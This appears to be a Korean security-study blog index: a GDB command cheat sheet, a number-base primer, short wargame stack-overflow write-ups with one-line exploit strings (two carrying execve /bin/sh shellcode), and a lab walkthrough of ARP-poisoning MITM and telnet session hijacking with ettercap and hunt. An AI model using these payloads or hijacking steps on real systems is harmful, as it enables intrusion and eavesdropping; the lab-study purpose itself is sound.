GDB (The GNU Project Debugger) command


GDB (The GNU Project Debugger)



 GDB는 컴퓨터 프로그램의 실행을 추적하고 수정할 수 있는 많은 기능들을 제공한다. 사용자는 프로그램의 내부 변수들의 값을 주시하거나 변경할 수 있으며, 프로그램의 일반적인 실행 과정과 독립적으로 함수를 호출할 수도 있다.

시스템 해킹에서 gdb를 사용할 경우 분석해야 하는 바이너리는 디버깅을 위해 컴파일 된 바이너리가 아니기 때문에 변수 이름이나 메인 함수 같은 디버깅을 위한 심볼이 없는 경우가 많다. 그렇기 때문에 심볼이 있어야만 사용 가능한 명령어들은 제외하고 자주 쓰이는 명령어를 잘 숙지해두는 것이 gdb에 익숙해지는데 도움이 된다.

GDB는 동적 디버거로 대부분의 명령어는 프로그램이 실행된 이후에 가능하다. Run(r)을 이용해 대상 프로그램을 실행시켜 메모리에 로딩한 후 분석을 할 수 있다.


[+] 실행방법
Gdb “프로그램명” 
-c, -p 등의 옵션을 이용해 상황에 따라 실행할 수 있다. (man gdb 참고)


[+] 어셈블리어 코드 보기
Disas func : func 함수의 어셈블리어 코드를 출력한다. 함수 이름을 찾아갈 수 있을 때만가능하다.
밑의 메모리확인 명령에서 x/i $eip를 이용하여 볼 수 있다.


[+] 브레이크 포인트
Break(b) func
Break(b) *func+5
Break(b) *0x8040000
Info break (I b) : 현재 걸려있는 모든 break point를 확인한다
Cl func : func함수에 걸린 브레이크포인트 지우기
Delete(d) : 브레이크포인트 모두 지우기


[+] 진행 명령어
Run(r) : 프로그램을 수행한다.
Run argv[1] argv[2] 형식으로 인자를 전달할 수 있다.
Kill(k) : 프로그램을 종료한다
Si : 다음 인스트럭션(명령어)을 실행하는데 만약 함수라면 함수 안으로 들어간다.
Ni : 다음 인스트럭션(명령어)을 실행한다. 함수 안으로 진입하지 않는다.


[+] 메모리 검사
x/”범위”“출력형식”“범위의단위” “메모리주소 또는 함수명”
범위 : 범위의단위 * 범위byte 출력
출력형식 : x (16진수), s (문자열) , I (명령어)
범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)
EX)
x/20wx $esp : esp가 가리키는 메모리로부터 높은 주소 쪽으로 4byte20개를 출력다.
x/10i $eip : 현재 eip의 명령어로부터 10줄의 어셈블리어를 출력한다.
x/s 0x8040000 : 0x8040000에서 시작하는 문자열을 출력한다.


[+] 기타
  • 레지스터 상태 확인하기
Info register(I r)
-AT&T 어셈블리어 명령어를 Intel 어셈블리어 명령어로 바꾸기
Set disassembly-flavor intel

  • 특정 메모리에 원하는 값 넣기
Set {타입}”주소 또는 레지스터” = “값”
Set {int}0x8040000 = 123
Set {int}$edx = 123

  • 매 실행 시 특정 명령어 반복하기
Disp/5I $eip : 매 명령마다 eip에서부터 5줄의 어셈블리어 코드를 출력한다.
Disp/4x $esp : 매 명령마다 esp에서부터 16byte의 스택을 출력한다.
Disp는 명령어를 쌓아서 명령 시 원하는 출력이 보기게 할 수 있다.

  • shell 실행하기
!명령어 : !뒤에 shell 명령어를 입력하여 실행할 수 있다.
!ps : 현재 돌고 있는 프로세스를 볼 수 있다.
!cat /proc/$pid/maps : $pid의 프로세스의 전체적인 메모리 상태를 볼 수 있다.


Read more

2진법, 16진법, 데이터의 표현


 진법 변환과 데이터의 표현 



- 2 진수 (binary digit)숫자 0 1만으로 모든 수를 나타내는 방법

10진법
2진법
기호
0
0 + 0 = 0
●●
1
0 + 1 = 1
●○
2
1 + 1 = 10
○●

- 16진수 (hexadecimal digit) - 10진수의 9 다음에 A, B, C, D, E, F까지 6개의 문자를 추가하여 수를 표현하는 방법

10진수
16진수
비트구성(4 bit)
0
0
0 0 0 0
1
1
0 0 0 1
2
2
0 0 1 0
3
3
0 0 1 1
4
4
0 1 0 0
5
5
0 1 0 1
6
6
0 1 1 0
7
7
0 1 1 1
8
8
1 0 0 0
9
9
1 0 0 1
10
A
1 0 1 0
11
B
1 0 1 1
12
C
1 1 0 0
13
D
1 1 0 1
14
E
1 1 1 0
15
F
1 1 1 1

- 컴퓨터의 내부에서는 전압의 고저, 펄스의 유무 등 2진 현상에 의해서 2진수가 표시된다.

- 컴퓨터에 저장되는 데이터의 최소단위는 1 BYTEASCII(7 bit)에 여분으로 1 bit를 더하여 8bit . 1 BYTE는 사람이 인식할 수 있는 문자를 모두 표현할 수 있는 최소단위이다.

- 1 BYTE 8 bit00000000 ~ 11111111의 범위를 갖고 2^8개의 개수를 갖는다. 그리고 16진수 하나의 숫자는 0000(0x00) ~ 1111(0xF) 까지의 범위를 갖고 16진수 숫자 2개를 이용하면 1 BYTE를 완벽히 표현할 수 있다. 1 BYTE16진수로 0x00 ~ 0xFF의 범위를 갖는다.

- HDDRAM에 저장되는 데이터들은 16진수를 이용하여 1 BYTE16진수 숫자 2개로 표현한다.(1 BYTE : 00000000 ~ 11111111 : 0x00 ~ 0xFF)
Read more

bofrtl

bofrtl.c source code
Stack Frame


redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

./bofrtl $(python -c 'print "A"*12 + "\xe0\x8a\x05\x40" + "AAAA" + "\x20\xfb\xff\xbf"') | cat
Read more

bigbof03

bigbof03.c source code
Stack Frame
redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

print "A"*112 + "\x33\x84\x04\x08"
Read more

bigbof02

Bigbof02.c source code

Stack Frame
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x2c\xfc\xff\xbf"
Read more

bigbof01

Bigbof.c source code 
Stack Frame
 
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print  "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x28\xfc\xff\xbf"
Read more

TCP session Hijacking, hunt

희생자 PC-Windows XP SP3(), 공격자 PC-Backtrack5R3(), 서버 PC-CentOS 5.3() 세 대를 같은 네트워크 대역으로 망을 구성한다. (VMware 사용)


 
 
서버 PCtelnet-server를 설치하고 telnet services를 시작한다.
telnet-server가 설치되어 있지 않다면
 
[root@localhost ~]# sudo yum install telnet-server
 
으로 설치한다. telnet-server를 구동하기 위해서는 텔넷 데몬을 사용한다는 설정이 필요하다.

/etc/xinetd.d/telnet 파일을 vi 편집기로 연다.


service telnetdisableyes로 되어 있다. 이것을 no로 편집하여 텔넷을 활성화 시킨다.
 
 
[root@localhost ~]# service xinetd restart
 
명령어도 xiniet 데몬을 재시작하여 변경한 설정을 적용시킨다.
 
서버는 희생자가 접속 할 수 있도록 adduser를 이용하여 한 명의 사용자를 추가한다. telnet은 로컬 계정으로 서비스를 제공하므로
 
[root@localhost ~]# adduser cr3denza
cr3denza이란 사용자를 추가하고
 
 
[root@localhost ~]# passwd cr3denza
명령어를 통해서 user1의 비밀번호를 설정 한다. 희생자는 cr3denza계정을 이용해서 서버로 접속을 할 것이다.
/etc/passwd 파일을 열면 cr3denza 계정이 추가된 것을 확인할 수 있다.


 
 
희생자인 Windows XP는 방금 telnet-server 설정을 마친 서버 PCtelnet 접속을 한다.
 

 
c:\> telnet 접속할IP
명령어로 Windows에서 telnet-client를 이용할 수 있다.
 
 
만약에 Windows에서 telnet-server를 구동시키고 싶다면 WIN+r을 누르고 실행창에 services.msc를 입력한다. 현재 윈도우에서 사용되고 있거나 사용 할 수 있는 service들이 있다. 이중에서 Telnet을 사용함으로 설정하면 Windowstelnet-server가 열리게 된다.


 
3번 과정에서 추가한 계정으로 접속을 한다.
 

 
Telnet-server에서 cr3denza 사용자가 로그인 한 것을 확인할 수 있다.
 

 
공격자는 희생자 PC와 서버 PC에게 ARP poisoning공격을 해서 MITM 환경을 만든다.
 
ettercap이란 툴을 사용하여 희생자PC와 서버PCARP poisoning공격과 포워딩을 바로해서 MITM 환경을 만들 수 있다.


 
 
root@bt:~# ettercap -T -M arp /192.168.0.41/ /192.168.0.40/ -i eth5
 
ettercap의 옵션을 확인해보면 -T : Terminal Mode 로 사용하겠다는 것이다. -G옵션을 주면 그래픽모드로 ettercap을 사용할 수 있다. -M : MITM Attack 이고 arp spoofing을 사용하여 바로 뒤에 나오는 /server IP/ /victim IP/에게 MITM공격을 eth5 Interface를 사용해서 하겠다는 의미다. ettercap은 역사도 깊고 여러 가지 기능을 제공하는 프로그램이다. man ettercap 명령어를 사용하여 manual page를 보면 재미있는 기능들이 많이 있다.
 
서버에 텔넷 접속 중인 희생자의 PC에서 명령어를 보내 MITM환경을 확인할 수 있다.


위의 그림은 희생자는 id라는 명령어를 telnet을 통해서 server로 보내고 서버는 id에 따른 출력물을 희생자에게 보내 희생자의 모니터에 출력된 사진이다.


 위의 그림은 공격자의 ettercap에서 MITM환경이 구성되었을 때 clientserver의 패킷을 출력해주는 모습이다. MITM 환경이 구성되었기 때문에 희생자가 보낸 id 명령어와 그에 따른 server의 결과를 볼 수 있다.
현재 MITM환경이 구성되어 있으므로 ettercap의 옵션이나 필터를 이용해서 serverclient 사이에서 발생하는 패킷들을 임의로 조작하거나 손실 시킬 수 있다.
 
hunt를 사용하여 희생자 PC와 서버 PCTCP 세션을 탈취 한다.
MITM 환경이 구성 되었으니 이제 위의 세션하이재킹의 원리를 이용하는 툴을 사용하여 세션하이재킹 공격을 할 수 있다.(새로운 터미널을 열어야한다.)
 
먼저 hunt를 설치한다.
root@bt:~# sudo apt-get install hunt
 
설치된 hunt를 실행한다.
root@bt:~# hunt -i eth5


 
주석 모양 출력에 multipurpose connection intruder / sniffer for linux를 보아 침입 기능과 도청 기능이 있음을 알 수 있다.
먼저 hunt의 메뉴들에 대해 알아보자.
 
l - 현재 hunt가 탐지한 TCP connections을 출력해준다.
u - 현재 네트워크에 있는 호스트들을 탐지한다.
a - session hijacking 공격을 수행한다. (ack storm을 피해기 위해 arp poisoning을 사용할 수 있다.)
d - rst/arp/sniif/mac 데몬을 실행하고 설정할 수 있다.
o - 옵션
 
지금 l을 누르면 no connections are available 이라는 에러가 발생할 것이다. 이 에러는 서브넷에서 telnet 패킷이 발생하지 않았기 때문에 hunt에서 어떤 세션도 탐지하지 못하였기 때문이다. 희생자가 서버로 명령어를 보내 telnet패킷을 발생시키면 현재 희생자와 서버가 맺고 있는 세션을 확인할 수 있다.
 

 
희생자(192.168.0.40)이 서버(192.168.0.41)23번 포트로 연결을 맺고 있다.
hunt에서 희생자와 서버의 연결을 인식 했다는 것은 희생자와 서버사이의 패킷을 스니핑하고 분석까지 다 되었다는 것이다.
 
ettercap을 사용하여 arp poisoning공격과 MITM공격을 모두 완료한 상태이므로 바로 세션하이재킹 공격을 할 수 있다.



*>s
simple hijacking을 선택 한다.
0) 192.168.0.40 [xxxx] --> 192.168.0.41 [23]
choose conn> 0
0 번째 연결인 희생자와 서버간의 텔넷 연결을 선택한다.
 
dump connection y/n [n]> n
연결을 덤프할 필요가 없으니 n을 선택해 덤프하지 않도록 한다.
 
Enter the command string you wish executed or [cr]>
이제 명령어를 입력해서 희생자와 서버의 텔넷 세션을 훔쳐올 수 있다.
 
희생자만이 볼 수 있었던 secret.txt파일을 훔쳐 볼 수 있었다.
 
*ettercap이 실행되고 있는 터미널과 hunt로 공격중인 터미널이 모두 띄워져 있어야한다. ettercap을 사용하지 않고 hunta 메뉴로도 MITM공격이 가능하다.
Read more